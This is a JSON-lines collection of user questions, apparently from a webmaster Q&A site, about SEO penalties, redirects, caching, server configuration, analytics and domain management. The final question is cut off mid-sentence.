{"id":"38862","title":"How does the web server choose between unicode and utf-8 for accented characters?","text":"I have a web server with my ISP which replaces accented characters in URLs with their unicode values: for instance é (eacute) is translated to %e9 (dec 233). For testing locally I use EasyPHP which translates those characters by their utf-8 equivalence: é is then replaced by the well known sequence %c3%a9 (é)... Browsers served by EasyPHP don't decode unicode values but they do if running locally (utf-8 and non converted accent also)... I have been unable to find where this behavior is configured in the server. This is a problem as some urls are built by my application using the php rawurlencode() which seems to always encode with unicode values on both servers. Any idea?"}
{"id":"17468","title":"Getting de-penalized from Google Panda?","text":"My site was hit by Google Panda on June 16th. After that I did everything I could to de-index and de-link the bad content. According to some reports, the google panda algorithm was run again on July 26th. My site was not affected in absolutely any way. Still penalized - no more no less. Is it possible to get de-penalized? This is really damaging\/killing my business as I had spent over 1000 hours investing in SEO for this business."}
{"id":"17463","title":"Does having an old copyright date on a website have any negative SEO impact?","text":"In that a client feels having an old copyright date displayed in the footer across a site will have a negative SEO impact? My opinion is that it should make very little difference SEO wise and should only change if a substantial change has taken place with regard to the design of the site. I have done some Googling but have not come across anything \"concrete\" any pointers or if you have had experience changing from a static to a dynamically change year and the effect it had that would be great."}
{"id":"17460","title":"Suggestions on managing social media accounts","text":"As a company we now have Facebook, LinkedIN, Twitter and now Google+, is there a way to easily manage all these accounts without having to log into them individually? Things like posting content to each one is becoming a full time job in itself, is there a way to post once that in turn posts to all other accounts? I used to use http:\/\/ping.fm\/ a long time ago, has there been any advancements in something similar to this? With friend lists, news feeds etc etc for each one, I wish there was a way to manage them all in one place with a service\/tool!"}
{"id":"60168","title":"Embedding Google Transliterator (input tools) in my site. Help please?","text":"I want a transliterator (google's) to be embedded in my site. I tried embedding it, I succeeded mostly. It is giving result but it is not showing all available translations for a word typed on typing each letter like it shows in google input tools online like this,  Even I need such a feature in my site after embedding it. It is giving me at the end of the word when I hit space only not after every key I press. I tried looking at the web-conole(firefox), and understood that in the code that I have , is sending a request whenever we hit a space. But google input tools online sending request to POST a request after every key press but getting and printing data only after space. Could any body help me out in this regard. Thanks in advance"}
{"id":"32304","title":"Do CSS class names have any effect on SEO?","text":"> **Possible Duplicate:** > Is minifying id and class names a bad SEO practice? I have seen some of our competitors using keyword rich CSS class names. As an example, if I were in the pet grooming business, I would name my #menu as: #menu.pet.grooming.moreKeywords.etc { ... } Does this have any effect on SEO? If so, what is the best practice?"}
{"id":"25473","title":"Subdomains regarding name servers\/domains","text":"I know how to configure subdomains like `sub.example.com` on Apache etc. My question is, do I need to make any changes to the name servers\/domain that is provided to me? Would it work the same as `domain.com\/sub`? Worth noting that I use `http:\/\/za.net\/` as my domain provider (free domain) and zone edit as the name server provider which is also free. I think `.za.net` provides third-level domains, because when you register it, it becomes `example.za.net`. I'm not 100% sure that it provides third-level domains, but would I need to make any changes with that? Or would the setup in my Apache config as a subdomain for `sub.example.za.net` work without need to do anything with the domain DNS or name servers? `http:\/\/co.za\/` is the same, but you pay for it. It's the premium domain provider in South Africa, but I've seen many sites with `sub.example.co.za` for example. Anyway... ultimately my question is: Would creating virtual hosts and stuff for a subdomain like `sub.domain.com` be sufficient? and would I need to change anything in the name servers or domain DNS management tools? The `sub.domain.com` would read the \"sub\" folder in the htdocs."}
{"id":"53025","title":"Effects of moving website to another server on SEO","text":"If i shift my domain from One server to another does it effect SEO of website? I am just changing server not domain name.So only Ip address of domain gets changed. So please give information on this"}
{"id":"36276","title":"Files not refreshing after uploaded and overwritten via ftp","text":"I have been having some trouble with updating my website this morning. After editing some files, in special, a css file, and uploading it to the server, i would notice that the changes wouldn't happen, as if the file had not been overwritten. File size on my local machine would be 3.244 kb and on the server 3.080 kb. Even after deleting the whole folder itself, and uploading everything again, same error. Answer: Cloudfare."}
{"id":"21801","title":"Any chance to redirect homepage to a changing permalink without irritating search engines?","text":"We have a php 5.3\/Apache 2.2 based cartoon website that always shows the most current cartoon on the homepage (index.php). Now, a lot of people want to link directly to that cartoon (by copying the URL), so we added a little permanent link below the image (changing with the image id, like cartoon_1234.htm, cartoon_1235.htm and so on). However, quite a few still link to index.php without realizing that that will show a different cartoon every day. We considered using a simple header redirect - header('location: cartoon_xxxx.htm') - in our php code) that redirects whenever index.php is called, thus showing the desired URL in the browser. But we are afraid the for instance the Google algorithm will not like the constantly changing temporary redirect (or will it?). And we don't want to risk our good ranking by showing different content to people and to SE-bots. **Question: is there any recommended practice to implement this kind of homepage with permalinked URL?**"}
{"id":"21805","title":"Convert secured website to PDF","text":"I need to convert my MediaWiki site to PDF. The whole website, not just a page. Its a wiki with lots of articles. Adobe Acrobat has function for this, but the problem is that the site is secured and requiers login. Does anyone know a solution to this?"}
{"id":"24875","title":"Page Speed Online vs Chrome Extension","text":"In optimizing a content blog of mine with the goal of achieving the highest page speed score possible for obvious reasons (user experience, SEO, etc..), the results I'm obtaining are throwing me for a loop. For the sake of completeness, here is **my stack:** * _CloudFlare DNS + CDN_ * _nginx 1.0.11 stable_ * _PHP-FPM 5.3.6_ * _WordPress latest stable (3.3.1)_ * _WP-Super Cache_ Moving on... I _originally_ was using Page Speed Online to have Google scrape the root URL and see what it turned up, as I assumed that'd be the most accurate representation of the speed it realized when evaluating the website for SEO purposes. However, the results are... _intriguing_ to say the least. I've **looked at the headers** _extensively_ ( **sessions, anonymous users, cached vs not-cached, etc..** ), yet Page Speed Online seems to report back incorrect results. After purging every cache that I had and still getting the same funny recommendations by Page Speed Online, I tried out the Chrome extension. **Here are my findings** : * **Page Speed Online** reports that I should \" _leverage browser caching_ \" for the majority of my static assets, citing that the _expires_ duration on the majority of them is 24h or less, _despite the fact_ that I can repeatedly replicate viewing the headers and **seeing that the expires date is correctly set for 1 week** as I have in my nginx configuration. This applies to .js, .css. png, .jpg, etc.... * Also, CloudFlare states that it respects any expires headers you have greater than its default 4h, which doesn't seem to be a problem. * **With** CloudFlare Enabled, **Page Speed Online** reports a score of a **75** , with only 2 medium-priority critiques (one of which is the above caching \" _issue_ \" which isn't actually valid) and one low-priority. **Without** CloudFlare enabled, I get a score of **88** with _the same_ 2 medium-priority reccomendations, but instead 9 low-priority (ex: I was having CloudFlare handle minification of static assets, asynchronously load some of the JavaScript, etc...). * Keep in mind this is on a **613MB 32-bit EC2 Micro-Instance** with poor I\/O performance and short CPU bursts. Granted, I'm caching a lot of trips to the disk, but an **88** _without_ CloudFlare and **75** _with_? Fast-forward to **Page Speed Chrome Extension**... * **No cached content, no CloudFlare** : _94_ * (1 medium-priority, 9 low-priority) * **Server-side cached page, no CloudFlare** : _95_ * (0 medium-priority, 9 low-priority) * **No server-side cached page, _with_ CloudFlare)**: _92_ * (2 medium-priority, 7 low-priority) * **Server-side cached page, _with_ CloudFlare)**: _96_ * (0 medium-priority, 7 low-priority) Just to be clear, the **local** cache (cached by Chrome) was cleared before any of the above were run. In the case of the **first** and **third** , I ran the test as an administrative user with a session and _was not_ served the Super Cache page. For the **second** and **fourth** , I verified that the server-side cache was populated and requested the page as an anonymous user (and _was_ subsequently served the cached page). In the case of the requests **not** using CloudFlare, _no minification_ was present for the **first** , and _only HTML minification_ for the **second**. For the tests **using** CloudFlare, _HTML, CSS, and JavaScript minification_ were performed\/served automatically, and additionally, resources were combined and required asynchronously when applicable. Also, all static assets were **cached and served** _by the CloudFlare CDN rather than from my EC2 instance_. The only \" _cache distinction_ \" I make in these two tests was the case of a Super Cache _static version of the dynamic page_ being present in- memory or not (present && hit). _Phew._ (It took about as long to cite this verbosely as it did to test). **I say all of that to ask the following questions:** 1. **Why does Page Speed Online give such funky results?** Not accurate, but moreover, the major disparity between using CloudFlare versus not, _completely_ counter-intuitive. 2. **You can see above the night-and-day difference between Page Speed Online and the Page Speed Chrome Extension. Which is a more accurate representation of how Google's algorithm would rank your page in regards to speed?** I'm really hopping it's the latter :) 3. **What gives with CloudFlare scoring lower in the both Online and Extension cases without a server-side static cached page?** Intuitively, I'd expect that the several performance advantages that CloudFlare offers to at the _very least_ be superior to _any_ variation of a non-CloudFlare test (minification of JS, CSS, HTML, CDN for _all_ static assets _including_ images (a hefty portion of the payload), asynchronous loading, etc... **What gives?** **I applaud you** if you've managed to read and stay attentive this far. Thanks so much for the time and consideration, and I appreciate any insights anyone can provide in advance! Just for the sake of transparency, I also posted this to Quora."}
{"id":"46769","title":"iFrame ads from site to site","text":"How I can make the iFrame ads from site A to site B not like this: `<iframe src=\"http:\/\/www.site.com\"><\/iframe>` Example: site A <script type=\"text\/javascript\"><!-- google_ad_client = \"ca-pub-3434343507\"; \/* site *\/ google_ad_slot = \"343435270\"; google_ad_width = 728; google_ad_height = 90; \/\/--> <\/script> <script type=\"text\/javascript\" src=\"http:\/\/pagead2.googlesyndication.com\/pagead\/show_ads.js\"> <\/script> site B --iFrame-- <script type=\"text\/javascript\"><!-- google_ad_client = \"ca-pub-3434343507\"; \/* site *\/ google_ad_slot = \"343435270\"; google_ad_width = 728; google_ad_height = 90; \/\/--> <\/script> <script type=\"text\/javascript\" src=\"http:\/\/pagead2.googlesyndication.com\/pagead\/show_ads.js\"> <\/script> --iFrame--"}
{"id":"45582","title":"Google Bot creating invalid GET Request","text":"I have checked multiple times in page, and there are no recursive sort of links anywhere nor are there any links without base href but still I can see lot of links with 10+ level deep. like `GET http:\/\/www.example.com\/a\/a\/a\/a\/a\/a\/a\/a\/a\/foo_bar_page` which is invalid for me, but `example.com\/a\/foo_bar_page` is a valid page. I can temporarily block it in robots.txt but what if it starts requesting for `b\/b\/b\/b\/` sort of links ? How can I stop this ?"}
{"id":"45585","title":"Would this be considered keyword stuffing?","text":"we have a website with a lot of galleries filled under a couple of different categories. A while ago we migrated all the URLs from for example: http:\/\/domain.com\/blog\/post\/1225\/bakemonogatari-cosplay-hanekawa-black-by-aki\/ to something like this http:\/\/domain.com\/cosplay\/bakemonogatari-cosplay-hanekawa-black-by-aki-1225\/ Funny thing was that 2 days after this, we were hit by almost a total drop of traffic from what seems to be Google panda. In the past 6 months I fixed every imaginable thing I could think of. This made me think that google might consider this as keyword stuffing and therefore dropped the site from the results because of the URLs? I am now thinking of changing the URL schema to simply: http:\/\/domain.com\/bakemonogatari-cosplay-hanekawa-black-by-aki-1225\/ Do you think that's better? Or is there a better solution such as \/blog\/ subfolder or somehting? Thanks"}
{"id":"44552","title":"Why Google stopped caching my site?","text":"Today I noticed that Google has stopped caching my site. I don't know why? `cache:www.technostall.com` (that's how I check cached pages in Chrome) gives a 404 page. Can anyone let me know why is this happening? My site's meta robots tag is as follows: `<meta name=\"robots\" content=\"noodp,noydir\"\/>` which is perfectly fine I think, I didn't use `noarchive`."}
{"id":"45234","title":"Script injection on different hosting servers = FTP hacking?","text":"I've been facing the exact same injected script on several of my websites for the last few weeks. Today I realize these websites don't share the same hosting servers, yet the attacks (1) started at the same time (2) are identical. Does this prove that my FTP passwords have been stolen (they're all stored in Filezilla XML file on my hard drive) ? What else could be the security hole?"}
{"id":"60083","title":"Google Analytics - Bounced User Landing Page","text":"In Google Analytics, is it possible to see the top landing pages for bounced users? That is, I want to see the pages users are landing on, not interacting with, and then leaving."}
{"id":"28659","title":"Is text in Javascript HMTL scripts taken into account in Google (or other) indexes?","text":"I have a HTML page where I update the content of a div to display some introduction text when displaying the page. It is hard for me to create copies of this page for all possibilities and move the text as static content correspondingly. When I have a Javascript, something like this: <script type=\"text\/javascript\"> setIntroduction(\"This is my introduction text etc... etc...\"); <\/script> Does Google (or other index tool) take into account the `This is my introduction text etc... etc...` text, since it appears in the page? Or is it ignored?"}
{"id":"16846","title":"Penalty issue for a duplicate page in site but original page doesn't exist anymore","text":"I've a product page ranking well for a keyword which I duplicated from the company itself which contained faq about it's product. Now the website has removed that page so mine is the only one existing now. Does anyone have any idea if still duplicate content penalty will be applied to my page? Should I go ahead and remove it?"}
{"id":"16843","title":"Deleted duplicate pages will search engine ratings improve?","text":"I've just now deleted many pages from my website (with 410 status) which were product pages and copied from respective companies. Will now search engine rankings improve for my site? I hope it should take 4-6 weeks for this."}
{"id":"6321","title":"Is there an easier way to implement 301 redirects when converting a site to WordPress","text":"I have just converted a website to WordPress. The old site has hundreds of hard-coded html files, and the new site does not match the old site's directory structure or file naming system (bad SEO in the original site), so I can't place any \"blanket\" 301 redirects. Its been at least 2 months, and the old links are still appearing in Google searches, despite a google-friendly sitemap.xml. Do I need to hardcode a 301 for every individual page in my htaccess file, or am I just misunderstanding 301s and apache? Is there some other way I can update Google about the fact that my entire site structure has changed?"}
{"id":"59938","title":"Should my site be AJAX crawable?","text":"I'm developing a website that uses a lot of AJAX. Now this is the first time I use AJAX and read something about making an AJAX website crawable I don't have any experience of SEO, but I read about it. I've got multiple questions. 1. Do Google crawlers follow links that are styled like this: `<a href=\"producten\/mica.html\" class=\"ajax-popup-link-mica\" style=\"display:none\"><\/a>` So with no text, and display set to none. The reason I use this is because of a plugin I'm using, `magnific popup`. Magnific popup requires you to give links a certain class, and if you click it, a modal\/popup will appear with ajax content, retrieved from the above link. (with out refreshing the page) But the problem for me is that it won't change the browsers URL, so using this would make it impossible to send the link to someone else or to add it favourites. So what I did is use two links. The first one `<a href=\"#!\/producten\/mica\" class=\"product_link\">` with a div inside it with product image and product text. When this is pressed the browser URL does get updated (without refreshing the page), then using JQuery\/JavaScript it triggers the `class=\"ajax-popup-link-productname\"` so the modal\/popup is triggered. So the main question is, is it necessary, using this technique, to also make the page AJAX crawlable. Or do I not have to, because the crawler can follow the link as seen in question 1?"}
{"id":"59719","title":"Why web hosting providers use Apache for their plans?","text":"As the title says, I see most web hosting companies provide plans that running Apache instead of Nginx. So, what is the reason that makes them stick with Apache? Although, Nginx is much more lighter and not heavy resources eater as Apache!"}
{"id":"14504","title":"Who's viewing website source code?","text":"Is there a way (either client side or server side) to see who is viewing your website's source code that is generated in the their browser?"}
{"id":"59865","title":"SEO : Understanding Duplicate Content & Low Quality Content","text":"We know that content of each page should be unique and useful for users. Google will penalize thin websites with low quality content and duplicate content. What I want to know is what is the exact meaning of \" **Duplicate Content** \" & \" **Low Quality Content** \". Assume that we have a website with 10,000 pages and some parts of each page is repetitive in the **layout** in **all of the pages**. Look at this example :  Does Google count repetitive content of the layout of pages as \" **Duplicate Content** \" ? Is this page a \" **Low Quality** \" page because the unique part is lower than 300 words ? When somebody searches a keyword including some of words that are in the layout words, does Google show them to the user ? Is \" **Ratio** \" of unique\/repetitive content important ? if yes, how much it should be ?"}
{"id":"59713","title":"Should I ask for additional CPU cores?","text":"I have a website that has approximately 300 users and I get about 1000 hits per day. Due to an upcoming event next week, there is a possibility of all of a sudden getting between 20 and 25 thousand users per day, with between 60 and 70 thousand hits. I currently have 2 CPU on a semi-dedicated hosting. My host is aware that there could be a bump in users and said that he could quickly up the CPU as needed. However, there's also an option of prepaying for additional CPU. As the 20-25K users would be purchasing access to my site, I definitely want that aspect to go smoothly. Is there anyway to tell whether I should purchase access to the additional CPU? Additional information: 1) A screen shot of my usage of the last week (the spikes are nightly database\/file backups and won't increase with the new users) 2) I use a CDN for images, javascript, css 3) My \"purchase access to the site\" script takes about 2 seconds to run as it's interacting with my payment processor. 4) Each page that the user accesses requires a check via php to see if they're logged in, and 1-2 trips to the database: typically page loads are under 5 milliseconds. If I'm being neurotic and shouldn't purchase more CPU, then that's fine for someone to tell me so. However, if this seems like a case where I should make the purchase, it would be great to know what number of additional CPU cores would be appropriate."}
{"id":"41007","title":"Website only displays correctly in IE using compatibility mode?","text":"As the resident \"IT Whiz\" at work (ie: I know how to use a computer) I've been asked to develop a website for our small business. I've altered a wordpress theme for the time being and the company is very happy with the results. The only problem I am having with it at the moment is that for some reason the website does not display correctly and Internet Explorer unless I run it in Compatibility Mode. The main problem that I have is that my menu \"slider\" (it rotates pictures with links to articles etc) does not display at all, neither does the top menu they are just blink text based links. Even with Compatibility Mode enabled the slider and menus come back but the page is not centered unlike on both Firefox and Chrome. My googling has suggested the most common cause of this is old code but I'm not sure where to be looking. Is it likely in the css file or the actual php? Also any ideas on how to trouble shoot the cause of this? As in is there some dev tools or debugger I can use that would highlight \"broken\" code for me?"}
{"id":"43930","title":"Google Webmaster Tools show only common words in the keywords list","text":"I have a greek site with greek domain (gr) and even so, the keyword list of google shows in the first places the greek equivalent words of the common words like \"in\", \"a\", \"and\",etc. All them would be greek's Stop Words Thanks for any help"}
{"id":"9664","title":"How to pay for servers without ads?","text":"I have a website whose goal is to provide a free educational service (like wikipedia does, not on the same scale obviously). I wonder how I will continue to pay for the servers when I reach high traffic. I don't want to use any ads or sponsor things, because this is not the goal of the website (just like wikipedia once again). Does \"please donate\" works ? If no, is there any alternative to a \"private\/premium not free\" part in the website ? Thanks"}
{"id":"9662","title":"URLs in Google Web Index Has Dropped to 0!! Why?","text":"Does anyone know why my website's URLs in Google web index has dropped to \"0\" ? It shows I have +350 link on my xml file and last week I had +150 URLs in web index. I didn't do any changes to my XML file."}
{"id":"10116","title":"Cannot access personal website from home IP. More details inside","text":"This is a recent problem I've been having. My site can be accessed from almost everywhere else except from my home IP, where I do most of my editing\/updating, etc. I've tested my connection from my school's network, a friend's connection from out of state (multiple states), and through a tethered connection with my friend's Android. It works in all those cases, both viewing, accessing the cPanel, and using FTP. Here's the problem that happens to me when I try to view it from my home IP: * The page times out in Firefox, IE, and Chrome. * Using the cmd, I ran tracert and ping, both as failed attempts. Log here. * downforeveryoneorjustme.com says my site is up. So do the other site checkers. * I can't access my cPanel or FTP accounts. * I can't access the host site. (I use perfectz.info for hosting, and I can't access their site either.) System settings: * No firewall enabled. * Ports are seemingly properly forwarded. (e.g. The ports are open in the router settings, and are open everywhere else.) * I have an email forwarder set up from the cPanel that **works just fine.** (i.e. I can receive emails sent to that address. If any other information is needed, I'll do my best to provide it. **UPDATE** @ilhan: I use two things: 1) The site cPanel from in-browser. 2) Dreamweaver CS5 FTP. @Matthias: I tested both, and it passes the dual stack with a 10\/10. What should I do then?"}
{"id":"14500","title":"Is it possible to keep google from using certain text as keywords?","text":"For example, on my site I have a lot of flash content. But, I made sure to put plenty of keywords each meta description for each page, a descriptive title for each page, all the alt tags for images should be filled, i used the h1 and h2 tags with some sentences using key words that describe the site... But my problem is that I have a large TOS and Privacy policy page, and according to google webmasters it looks like its getting most of my key words from that single page. So my top keywords look like, \"privacy\" \"policy\" \"liability\" and stuff like that which is in no way relating to my site. I'd really appreciate any input that might help me get the privacy policy and tos keywords off the radar so I can get relavant searches coming to the site. Thanks!"}
{"id":"21772","title":"Google Analytics: What to feed back to clients?","text":"We have several successful websites all of which have Google Analytics. A few clients like to see some of the stats on the website and kind of like to have a \"feedback\" session. I usually go through the usual stuff like unique visits, most popular content, keywords etc. Although I feel these are important I'm not really sure how much the client is getting from this. I've recently come across the click overview where for each individual page it shows the percentage of clicks on the different links. I was just wondering what kind of things other people like to show? Are there some hidden little areas in analytics that could be of great use to the clients? How can I clearly show the success of the website?"}
{"id":"18808","title":"Is there any good tutorial site to develop Drupal 7?","text":"I would like to learn Drupal 7, is there any good sites to introduce Drupal 7?"}
{"id":"8978","title":"Temporary website redirect: 3xx or php\/meta?","text":"I run a (small) news website which has also a forum in a subfolder of the root. I'm planning to give the site a facelift and a code restructuration, so I wanted to put some redirect on the home page that will point directly to forum's index (www.mysite.com --> www.mysite.com\/forum) while I tinker with it. And that, given the little free time I have, will take no less than a couple of month. Being a news site I'm pretty sure that would affect it's overall ranking, but I need to do it, so: which is the best way to redirect? I pondered and read here and there about the different means, but I couldn't figure out which is worst for SEO. Do I use a 302 redirect or use \"Location:newurl\" in page headers using php? Or I just put a meta tag in the html page (or a javascript, what's better). Sorry but I'm not really into these things, I may have said something silly, I know... Thanks"}
{"id":"8970","title":"Where to store users consent (EU cookie law)","text":"We are legally obliged in a few months to obtain consent from users to allow us to store **any** cookies on the users PC. My query is, what would be the most effective way of storing this consent to ensure that users don't get repeat requests to give consent in the future, obviously for authenticated users I can store this against their profile. But what about for non-authenticated users. My initial thought, ironically, was to store given consent in a cookie..?"}
{"id":"14352","title":"Monitoring\/protecting GoogleAds","text":"How do you monitor who has clicked an advert and what is possible in terms of protecting against abusive clicks?"}
{"id":"63349","title":"Tracking 502 bad gateway error","text":"I moved my Wordpress site to WP Engine and now I constantly get 502 errors. I spoke with support and they said that its because I have a lot of DB queries. I ran some tests and my frontpage only has 95 queries and page size is about 500kb. Most inner pages are around 60 queries. All queries are very short. Some people tell me its common with WP Engine because they run nginx. Why do I keep getting these errors and is there a way to track how many of them happen on daily basis? P.S. WP Engine log is empty so cant see the 502's there."}
{"id":"7135","title":"Some Adsense domain's ads are causing document.write() statements that remove the html from the page","text":"All that is output on the page is the domain name of the advertiser, for example 'www.solar-aid.org'. The rest of the content is stripped, I believe because of a document.write() statement. I'd like to know if this is a common issue or something wrong with our setup. There are three domains causing the issue, which we've blocked from Adsense as a result. * solar-aid.org * kiva.org * grameenfoundation.org Given the type of organizations I think they may be within the default group of 'public service ads' within the Backup Ads setting. If the issue doesn't completely resolve itself soon (one customer of ours complained today, even though I blocked them 5+ days ago), I'll disable public service ads and select the 'fill space with a solid color' option."}
{"id":"59168","title":"Duplicated titles - SEO","text":"I have a site with product listings and I am not sure what would be better solution to avoid duplicated titles error. Example: http:\/\/www.mynautics.com\/en\/buy\/powerBoat\/ One solution could be to append page number to title. Result would be > Buy - Motorised boats\/Power boats | Page 1 > > Buy - Motorised boats\/Power boats | Page 2 > > Buy - Motorised boats\/Power boats | Page 3 The other solution I found on the internet is to add canonical tag to links. <a rel='http:\/\/www.mynautics.com\/en\/buy\/powerBoat' href='http:\/\/www.mynautics.com\/en\/buy\/powerBoat\/curPage@2'\/> ABC <\/a> I would like to ask which method would be better for SEO and why is it better? The other thing that bothers me is if there is any way to add canonical data in meta tag? If I just add this data to links and if I put all pages in Sitemap result will stay the same since bot won't know that this is actually child site..."}
{"id":"59765","title":"Can I use a photo in which we can see a known logo on my website?","text":"I took a cityscape picture that I intend to use on my website. In the picture, we can see a recognizable logo (let's say a famous hotel chain) and I was wondering if it could cause any legal issue? It's a commercial website, but my business has nothing to do with the logo that can be seen in the picture."}
{"id":"28229","title":"Purchase existing domain and transfer to new registrar","text":"I am purchasing an existing domain from the owner who has it registered with GoDaddy. I want to transfer the domain to another registrar and of course have it under my name. If they update the registrant info to my name then it will lock down for 60 days. That's no good. If they simply transfer it to my registrar, how will they update the registrant info? I know about escrow services, but I don't feel I need one because I trust the seller and the amount is (relatively) small. Advice? Thanks!"}
{"id":"49640","title":"Using GA to track popular tags\/categories in WordPress","text":"I coordinate a few editorial content-driven websites that are built in WordPress. Most make heavy use of tags, categories and custom taxonomies. I'd love to track which tags\/categories are most popular, retain visitors, etc. Not just the navigation pages, but also the posts themselves. For example, I'd like to know if posts in the category 'sweepstake' are more popular than others. Currently, the only way for me to do that is to generalize based on the category overview or to manually tally all the individual post data. We've experimented with using keywords in post titles and using custom post types, but that's too limiting. By default, this kind of WP-specific tracking is hard to do in GA. A post has a url that does not feature categories or tags in it. Given the fact that a post can belong to several taxonomy terms, this makes sense. It would also be bad SEO if a post's url would change by simply changing\/renaming its tags. So, I was wondering if it would be feasible to use GA events for this. Would it be possible\/sensible to trigger an event for each taxonomy term assigned to a post? Or is that a sick and twisted way to use GA events? I've already tried Wordpress's own Jetpack statistics, but they are way too crude and unreliable. Other stats tools\/plugins also don't seem to cut it. GA has the huge advantage of being generally very flexible and most of our (new) editors have used it before, know what it is and don't need a lot of training to get basic intel out of it."}
{"id":"35147","title":"Adding a filter increases visit count","text":"I've created a dashboard for one of my clients, where their pages are all `mysite.com\/[clientname]\/page`. I've added filters into each widget for `Path contains 'clientname'` however this is now showing a greater numebr of visits than my core dashboard. Using Custom Advanced Segments elsewhere achieves what I want, but I can't see how to do this in the dashboard?"}
{"id":"55734","title":"Is it necessary to specify content-type in http response header?","text":"Except for the html document, currently all the files (css, javascript and images) served from my web server do not specify the `content-type` in the http response header. I happen to notice this as I intend to remove the `type` attribute in both my `script` tag and `link` tag, but came across this answer which says the following: > The MIME type is also sent via the HTTP Content-Type header, so using > type=\"text\/css\" would only be extra bytes."}
{"id":"68097","title":"Redirecting to the file with the correct extension in nginx","text":"I configured my nginx server to correct the file extensions on a domain that only serves static images. Example: A user request `\/image` or `\/image.png` although the file is actually called `\/image.jpg`. The server answers with a 301 redirect to the correct file. I want to ask if it's possible to accomplish this without using `if` directives - or if the `if`s are safe in this context. This is what I came up with: server { listen 443 spdy ssl; server_name example.com; root \/var\/www\/example.com; location \/ { try_files $uri @alt; } location @alt { rewrite ^(\\\/[a-zA-Z0-9]+)\\.(?:jpg|png|gif)$ $1; if (-f $request_filename.jpg) { return 301 $scheme:\/\/example.com$uri.jpg; } if (-f $request_filename.png) { return 301 $scheme:\/\/example.com$uri.png; } if (-f $request_filename.gif) { return 301 $scheme:\/\/example.com$uri.gif; } return 404; } }"}
{"id":"68091","title":"Add site to search engines, even though not ready yet","text":"I'm building a website, and until it's done, visitors will see a _\"This site will launch on new year's day 2015\"_ , and a description of what the site is all about The domain is new, and nobody knows about it yet, and I want to spread the word\/buzz as soon as possible My questions is: Should I add the site to search engines now, or wait until the content is done? Will it effect later rank (or SE treatment) negatively to add it now?"}
{"id":"26694","title":"Am I allowed to display a small image on top of a Google Maps Static Api map?","text":"I am the webmaster to my company's website. I was asked to make the Google Map on this page smaller, but the interactive map doesn't work well at all at 300x200. I was asked to place a screenshot there but since that seems to be a violation of Google's terms I decided to use the Static Maps API. As you can see, on the page, I have a custom pointer icon. I don't want to lose it, so I intend to use HTML and CSS to place the pointer over the map, thus replacing the original pointer on the client side. Am I allowed to do that?"}
{"id":"26696","title":"Google Webmaster Tools -> URL-Parameter after Migration from Magento","text":"After migrating from magento to a different e-commerce system I can find lots of URL-Parameters with millions of monitored sites: http:\/\/i.stack.imgur.com\/8CDVm.png Is it safe to reset those? Or better leave them? We already had a recent drop in our SERP-Ranking due to a lower amount of indexed pages. I really wanna avoid any further deranking but also wanna avoid crawling errors"}
{"id":"44987","title":"Should rel=canonical point to page one of a set and still have rel=prev\/next on the page as well?","text":"I've got a page which displays search results and I've added rel=prev and rel=next meta tags to the page to cover the paging. However, someone is saying I should also add a rel=canonical tag to the page that points to the start page of the search results. So for example, say we're on mysite.com\/search\/xyz\/page5 the canonical tag would point to mysite.com\/search\/xyz\/ Is this wise? isn't the purpose of the prev and next tags to tell the SE that all these pages are of a set? But then putting the canonical tag in there is sort of telling the SE that the first page is unique and not part of this set? http:\/\/www.youtube.com\/watch?feature=player_embedded&v=njn8uXTWiGg#!&t=7m6s According to that video from google, it sounds like we should not use the canonical link. But i just looked at ebay and they are using the canonical link instead of prev and next. Then again maybe they are showing a different page if you are bot instead of a user. The problem we are having is that if we go into google webmaster tools it's showing all the paged results on our site as having duplicate content (duplicate title and description). Is that really a problem? Do i need to do something kind of stupid and just put the page # in each title and description?"}
{"id":"26691","title":"Analytics, multiple domains, one site","text":"What would be the best way to set up Google Analytics to track multiple domains which actually are all one site? Example: mysite.com mysite.es gets routed to mysite.com\/es, URL is mysite.es mysite.es\/contenidos\/stuff gets routed to mysite.es\/contents\/stuff, URL is mysite.es\/contenidos\/stuff I've already taken care of the technical side of this, but I'm just not sure about what's the best way to proceed with analytics. Any help would be much appreciated."}
{"id":"50358","title":"Microdata: How to set itemprop=\"duration\"?","text":"I'm trying to set a song's duration in microdata format. What is the best way to describe a duration in microdata? Is it by using itemprop=\"duration\" in span? <span itemprop=\"duration\" content=\"PT4M5S\">4:05<\/span> Or using the time tag? <time itemprop=\"duration\" datetime=\"PT4M5S\">4:05<\/time> Or using the meta description? <meta itemprop=\"duration\" content=\"PT4M5S\"\/>4:05 Or a combination of all of them? <span itemprop=\"duration\" content=\"PT4M5S\"> <time itemprop=\"duration\" datetime=\"PT4M5S\"> <meta itemprop=\"duration\" content=\"PT4M5S\"\/>4:05 <\/time> <\/span> I tried and they all worked in google's Structured Data Testing Tool except for the last one where the result was a three durations!"}
{"id":"24200","title":"Image Hot-links & Google's Instant Previews","text":"I'm trying to adjust my site: 1. stop Image Hot-links 2. block Googlebot-Image (because I do not want my images to be searchable) 3. allow Google's Instant Previews I've tried this but the _Instant Previews_ still do not show my images. (I really do not want to start blocking\/allowing by user-agent.) Has anybody achieved it ? .htaccess > RewriteCond %{REQUEST_URI} !(favicon.ico) > RewriteCond %{HTTP_REFERER} !(mydomain.com|google.) > RewriteRule .(jpe?g|gif|png)$ - [F] robots.txt > User-agent: Googlebot-Image > Disallow: \/ > > User-agent: * > Disallow: \/phpcart\/"}
{"id":"24202","title":"Google Site SEO after domain mapping change","text":"I have a google site https:\/\/sites.google.com\/a\/fractalsystems.org\/buuf- decisions\/ which used to be mapped http:\/\/buuf.fractalsystems.org Since stripping away that mapping SEO has not changed and it still points to the mapped domain name instead of the site.google page. Any idea if I can push this along or any ways of speeding it up? Am I SOL in any way?"}
{"id":"2839","title":"What's the best (fairest) way to select a web designer?","text":"I've been a freelance developer for nearly a decade, but have no desire to do web design. Most of the projects I get are maintenance-type projects that require only minor tweaks to existing graphics, or someone coming in with a new design already on hand. However, on rare occasions I get a request to do both programming and design. I've no problem farming out the work to capable designers, but I don't do enough design work to maintain any working relationships with any one particular designer. So what is the best way to shop around for a good designer? I'm willing to pay more to get good quality work (i.e. you won't find me asking on craigslist for free design work \"to boost your portfolio\"). For designers, what do you expect when a new client contacts you? (what do you expect in terms of information for the project, and what do you expect to be paid for conceptual work? For final design work?) For developers, what has worked for you in the past? I once tried this approach: > I'd like to commission some low-res, high-level design ideas from you. > Something the represents what you have in mind for the project, but it > doesn't have to be a production-ready design (watermarks, copyright, etc. > are OK as long as they aren't distracting) . I will pay you US$200 for your > time regardless of whether your idea is selected. Feel free to submit more > than one idea if you would like. Again, I'm only asking for ideas, not > complete designs. > > Once I have all of the ideas, I will run all of them by my client and he > will choose the 